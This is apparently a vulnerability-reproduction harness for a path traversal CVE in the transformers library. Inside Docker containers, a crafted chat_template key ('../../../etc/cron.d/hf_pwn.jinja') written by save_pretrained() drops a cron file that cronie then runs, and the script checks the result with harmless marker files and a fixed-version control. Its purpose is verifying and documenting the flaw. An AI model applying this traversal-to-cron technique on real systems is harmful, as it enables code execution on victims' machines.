#!/bin/bash
# CVE-2026-9856: genuine victim-controlled cron execution via transformers
# chat_template path traversal. The attacker-written file is NEVER executed by
# this script or the exploit helper. A Fedora cronie daemon, started before the
# malicious save_pretrained() call, discovers the forced .jinja file naturally
# under /etc/cron.d and independently spawns the payload command.
#
# Proof shape: two fresh isolated vulnerable victim containers
# (transformers==5.9.0) each reach independent crond-spawned /bin/sh execution
# with a unique marker; one fixed victim container (transformers==5.10.1,
# containing fix commit eaaaf8494dd5386634ae37d1d122212fdc315be5) rejects the
# identical artifact with ValueError and produces no marker.
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
export PRUVA_ROOT="$ROOT"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
mkdir -p "$LOGS" "$REPRO_DIR"

cd "$ROOT"

MAIN_LOG="$LOGS/reproduction_steps.log"
: >"$MAIN_LOG"
log() { printf '[repro] %s\n' "$*" | tee -a "$MAIN_LOG"; }

VULN_VERSION="5.9.0"
FIXED_VERSION="5.10.1"
FIX_COMMIT="eaaaf8494dd5386634ae37d1d122212fdc315be5"
SOURCE_RUN_ID="e13dab50-6dee-46ef-b8cc-5dc35b447f20"
SOURCE_TICKET_ID="CVE-2026-9856"
SOURCE_PROJECT_ID="55fa7b9c-5351-43fb-a3af-30af408a6666"
IMAGE="fedora:42"
IMAGE_REPO_DIGEST=""
HARNESS="$REPRO_DIR/hf_cron_exploit.py"
CACHE_REPO=""

# Always honor a prepared project cache. The checkout provides source/fix
# identity and patch-hunk verification; the exact PyPI releases are run in the
# isolated victim containers.
if [ -f "$ROOT/project_cache_context.json" ]; then
  CACHE_REPO="$(python3 - "$ROOT/project_cache_context.json" <<'PY'
import json, os, sys
try:
    obj = json.load(open(sys.argv[1]))
    path = os.path.join(obj["project_cache_dir"], "repo") if obj.get("prepared") else ""
    print(path if path and os.path.isdir(path) and os.access(path, os.R_OK) else "")
except Exception:
    print("")
PY
)"
fi
if [ -z "$CACHE_REPO" ]; then
  CACHE_REPO="$ROOT/artifacts/transformers"
fi

write_manifest() {
  local reached="$1" note="$2"
  python3 - "$ROOT" "$reached" "$note" "$IMAGE_REPO_DIGEST" <<'PY'
import hashlib, json, os, platform, sys
root, reached, note, image_digest = sys.argv[1:]
proof = [
    "logs/reproduction_steps.log",
    "logs/source_identity.log",
    "logs/vulnerable_cron_attempt1.log",
    "logs/vulnerable_cron_attempt2.log",
    "logs/fixed_cron_control.log",
    "repro/marker_run1.txt",
    "repro/marker_run2.txt",
    "repro/negative_control_fixed.json",
    "repro/hf_cron_exploit.py",
]
artifact_sha256 = {}
for rel in proof:
    try:
        artifact_sha256[rel] = hashlib.sha256(open(f"{root}/{rel}", "rb").read()).hexdigest()
    except OSError:
        pass
identity = "git:https://github.com/huggingface/transformers@eaaaf8494dd5386634ae37d1d122212fdc315be5|pip:transformers==5.9.0|fixed:transformers==5.10.1|image:" + image_digest
target_digest = hashlib.sha256(identity.encode()).hexdigest()
with open(f"{root}/repro/target_digest.txt", "w") as fh:
    fh.write(target_digest + "\n")
manifest = {
    "entrypoint_kind": "function_call",
    "entrypoint_detail": "AutoTokenizer.from_pretrained(attacker_dir).save_pretrained(out) writes traversal key '../../../etc/cron.d/hf_pwn.jinja'; pre-existing cronie 1.7.2 naturally loads it and independently spawns /bin/sh",
    "service_started": reached == "true",
    "healthcheck_passed": reached == "true",
    "target_path_reached": reached == "true",
    "runtime_stack": ["Docker", "Fedora 42", "cronie 1.7.2", "Python 3", "transformers==5.9.0", "transformers==5.10.1"],
    "target_identity": {
        "repository_url": "https://github.com/huggingface/transformers",
        "commit_sha": "eaaaf8494dd5386634ae37d1d122212fdc315be5",
        "target_digest": target_digest,
        "runtime_digest": image_digest.split("@sha256:", 1)[-1] if "@sha256:" in image_digest else None,
        "platform": "linux",
        "architecture": platform.machine(),
    },
    "proof_artifacts": proof,
    "artifact_sha256": artifact_sha256,
    "notes": note,
}
with open(f"{root}/repro/runtime_manifest.json", "w") as fh:
    json.dump(manifest, fh, indent=2)
PY
}

fail() {
  log "FAIL: $1"
  write_manifest false "$1"
  exit 1
}
trap 'rc=$?; if [ "$rc" -ne 0 ] && [ ! -s "$REPRO_DIR/runtime_manifest.json" ]; then write_manifest false "reproduction aborted with exit $rc"; fi' EXIT

[ -r "$HARNESS" ] || fail "missing required helper: $HARNESS"
command -v docker >/dev/null 2>&1 || fail "Docker is required for an isolated real cronie victim runtime"
docker info >/dev/null 2>&1 || fail "Docker daemon is unavailable"

log "=== CVE-2026-9856: transformers path traversal -> cronie execution ==="
if docker image inspect "$IMAGE" >/dev/null 2>&1; then
  log "runtime base $IMAGE already present"
else
  log "pulling immutable runtime base $IMAGE"
  docker pull "$IMAGE" >>"$MAIN_LOG" 2>&1
fi
IMAGE_REPO_DIGEST="$(docker image inspect "$IMAGE" --format '{{index .RepoDigests 0}}')"
if [ -z "$IMAGE_REPO_DIGEST" ]; then IMAGE_REPO_DIGEST="$IMAGE"; fi
log "runtime image identity: $IMAGE_REPO_DIGEST"

# Anchor to the ticket's exact fixed commit, resolving its parent before use.
if [ ! -d "$CACHE_REPO/.git" ]; then
  mkdir -p "$(dirname "$CACHE_REPO")"
  git clone --filter=blob:none https://github.com/huggingface/transformers.git "$CACHE_REPO" >>"$MAIN_LOG" 2>&1
fi
git -C "$CACHE_REPO" cat-file -e "$FIX_COMMIT^{commit}" 2>/dev/null || \
  git -C "$CACHE_REPO" fetch --filter=blob:none origin "$FIX_COMMIT" >>"$MAIN_LOG" 2>&1
FIXED_RESOLVED="$(git -C "$CACHE_REPO" rev-parse "$FIX_COMMIT")"
VULN_COMMIT="$(git -C "$CACHE_REPO" rev-parse "$FIX_COMMIT^")"
[ "$FIXED_RESOLVED" = "$FIX_COMMIT" ] || fail "fixed commit did not resolve exactly"
{
  echo "FIX_COMMIT=$FIXED_RESOLVED"
  echo "VULNERABLE_PARENT=$VULN_COMMIT"
  echo "VULN_HAS_GUARD=$(git -C "$CACHE_REPO" show "$VULN_COMMIT:src/transformers/tokenization_utils_base.py" | grep -c 'reject path traversal' || true)"
  echo "FIXED_HAS_GUARD=$(git -C "$CACHE_REPO" show "$FIXED_RESOLVED:src/transformers/tokenization_utils_base.py" | grep -c 'reject path traversal' || true)"
  git -C "$CACHE_REPO" diff "$VULN_COMMIT" "$FIXED_RESOLVED" -- src/transformers/tokenization_utils_base.py src/transformers/processing_utils.py
} >"$LOGS/source_identity.log"
grep -q '^VULN_HAS_GUARD=0$' "$LOGS/source_identity.log" || fail "fixed parent unexpectedly has path guard"
grep -Eq '^FIXED_HAS_GUARD=[1-9]' "$LOGS/source_identity.log" || fail "fixed commit lacks path guard"
log "source anchor verified: $VULN_COMMIT lacks guard; $FIXED_RESOLVED contains it"

# Build exact vulnerable/fixed images. Dependencies are installed in the image,
# so the reproducer remains clean-sandbox self-contained.
BUILD="$LOGS/docker-build"
rm -rf "$BUILD"
mkdir -p "$BUILD"
cp "$HARNESS" "$BUILD/hf_cron_exploit.py"
cat >"$BUILD/Dockerfile" <<'DOCKER'
ARG BASE_IMAGE=fedora:42
FROM ${BASE_IMAGE}
ARG TRANSFORMERS_VERSION
RUN dnf -y -q install cronie python3 python3-pip procps-ng && dnf clean all && \
    python3 -m pip install --no-cache-dir --break-system-packages "transformers==${TRANSFORMERS_VERSION}"
COPY hf_cron_exploit.py /opt/hf_cron_exploit.py
RUN chmod 0755 /opt/hf_cron_exploit.py && mkdir -p /proof /work && chmod 0777 /proof /work
DOCKER
log "building real vulnerable transformers==$VULN_VERSION + cronie image"
docker build --pull=false --build-arg "BASE_IMAGE=$IMAGE_REPO_DIGEST" --build-arg "TRANSFORMERS_VERSION=$VULN_VERSION" -t cve-2026-9856:vulnerable "$BUILD" >>"$MAIN_LOG" 2>&1
log "building real fixed transformers==$FIXED_VERSION + cronie image"
docker build --pull=false --build-arg "BASE_IMAGE=$IMAGE_REPO_DIGEST" --build-arg "TRANSFORMERS_VERSION=$FIXED_VERSION" -t cve-2026-9856:fixed "$BUILD" >>"$MAIN_LOG" 2>&1

run_case() {
  local role="$1" attempt="$2" version="$3" expect="$4"
  local name="cve9856-${role}-${attempt}-$$"
  local marker="CVE-2026-9856-RCE-${role^^}-${attempt}-$$"
  local log_file="$LOGS/${role}_cron_attempt${attempt}.log"
  if [ "$role" = fixed ]; then log_file="$LOGS/fixed_cron_control.log"; fi
  local marker_host="$REPRO_DIR/marker_run${attempt}.txt"
  if [ "$role" = fixed ]; then marker_host="$REPRO_DIR/fixed_control_marker_should_not_exist.txt"; fi
  local image="cve-2026-9856:$role"
  local container_rc=0 marker_present=false
  rm -f "$marker_host"
  docker rm -f "$name" >/dev/null 2>&1 || true

  log "starting isolated $role attempt $attempt (transformers==$version); crond starts before attacker input"
  set +e
  timeout 150 docker run --name "$name" --label pruva.cve=CVE-2026-9856 \
    --volume "$REPRO_DIR:/proof" "$image" bash -lc "
set -u
rm -f /etc/cron.d/hf_pwn.jinja /proof/$marker.txt
printf 'CROND_PARENT_PID=%s\n' \"\$\$\"
/usr/sbin/crond -n -x pars,load,proc 2>/tmp/crond.log &
crond_pid=\$!
printf 'CROND_PID=%s\n' \"\$crond_pid\"
sleep 2
python3 /opt/hf_cron_exploit.py /work/model /work/out '$marker'
exploit_rc=\$?
printf 'EXPLOIT_RC=%s\n' \"\$exploit_rc\"
# cronie schedules vulnerable jobs on minute boundaries. Wait for its
# independently spawned payload. The fixed case has no cron file and needs
# only a short observation window; never execute/source the artifact here.
if [ '$expect' = vulnerable ]; then
  for i in \$(seq 1 75); do
    test -f /proof/$marker.txt && break
    sleep 1
  done
else
  sleep 5
fi
printf 'MARKER_PRESENT=%s\n' \"\$(test -f /proof/$marker.txt && echo true || echo false)\"
printf 'CRON_FILE_PRESENT_AFTER_WAIT=%s\n' \"\$(test -f /etc/cron.d/hf_pwn.jinja && echo true || echo false)\"
if test -f /proof/$marker.txt; then printf 'MARKER_CONTENT='; cat /proof/$marker.txt; fi
kill \"\$crond_pid\" 2>/dev/null || true
wait \"\$crond_pid\" 2>/dev/null || true
echo ---CROND_LOG---
cat /tmp/crond.log
if [ '$expect' = vulnerable ]; then
  test \"\$exploit_rc\" -eq 0 && test -f /proof/$marker.txt
else
  test \"\$exploit_rc\" -eq 3 && test ! -f /etc/cron.d/hf_pwn.jinja && test ! -f /proof/$marker.txt
fi
" >"$log_file" 2>&1
  container_rc=$?
  set -e
  docker inspect "$name" --format 'CONTAINER_ID={{.Id}} IMAGE={{.Image}}' >>"$log_file" 2>&1 || true
  docker rm -f "$name" >>"$log_file" 2>&1 || true
  cat "$log_file" >>"$MAIN_LOG"

  if [ -f "$REPRO_DIR/$marker.txt" ]; then marker_present=true; fi
  if [ "$expect" = vulnerable ]; then
    [ "$container_rc" -eq 0 ] || fail "$role attempt $attempt did not reach independent cron execution"
    [ "$marker_present" = true ] || fail "$role attempt $attempt lacked marker"
    grep -Fq "CMD (/bin/sh -c \"echo '$marker' > /proof/$marker.txt\")" "$log_file" || fail "$role attempt $attempt lacks crond-spawn log"
    grep -qx "$marker" "$REPRO_DIR/$marker.txt" || fail "$role attempt $attempt marker content mismatch"
    cp "$REPRO_DIR/$marker.txt" "$marker_host"
    rm -f "$REPRO_DIR/$marker.txt"
    log "VULNERABLE attempt $attempt: crond independently spawned attacker command; marker=$marker"
  else
    [ "$container_rc" -eq 0 ] || fail "fixed control did not fail closed"
    [ "$marker_present" = false ] || fail "fixed control created a marker"
    grep -q '^SAVE_RESULT=BLOCKED$' "$log_file" || fail "fixed control did not raise traversal ValueError"
    grep -q '^CRON_FILE_PRESENT=false$' "$log_file" || fail "fixed control wrote escaped cron file"
    python3 - "$REPRO_DIR/negative_control_fixed.json" "$name" "$marker" <<'PY'
import json, sys
json.dump({"schema_version": 1, "process_instance": sys.argv[2], "marker": sys.argv[3], "target_path_reached": True, "marker_present": False}, open(sys.argv[1], "w"), indent=2)
PY
    log "FIXED control: identical artifact rejected; no cron file and no execution marker"
  fi
}

# Two fresh vulnerable victim processes plus one distinct fixed negative control.
run_case vulnerable 1 "$VULN_VERSION" vulnerable
run_case vulnerable 2 "$VULN_VERSION" vulnerable
run_case fixed 1 "$FIXED_VERSION" fixed

# Fixed control uses a distinct non-marker path; prove both vulnerable marker
# artifacts remain intact and the fixed observation stayed false.
[ -s "$REPRO_DIR/marker_run1.txt" ] || fail "vulnerable marker 1 missing after fixed control"
[ -s "$REPRO_DIR/marker_run2.txt" ] || fail "vulnerable marker 2 missing after fixed control"

log "=== CONFIRMED: save_pretrained path traversal caused genuine crond command execution twice; fixed build blocked identical artifact ==="
write_manifest true "transformers 5.9.0 wrote attacker-controlled /etc/cron.d/hf_pwn.jinja in two isolated victims; pre-existing cronie 1.7.2 loaded each file and independently spawned /bin/sh to create unique markers. transformers 5.10.1 rejected the identical artifact with ValueError, wrote no cron file, and caused no marker. No component directly executed the dropped file."
exit 0
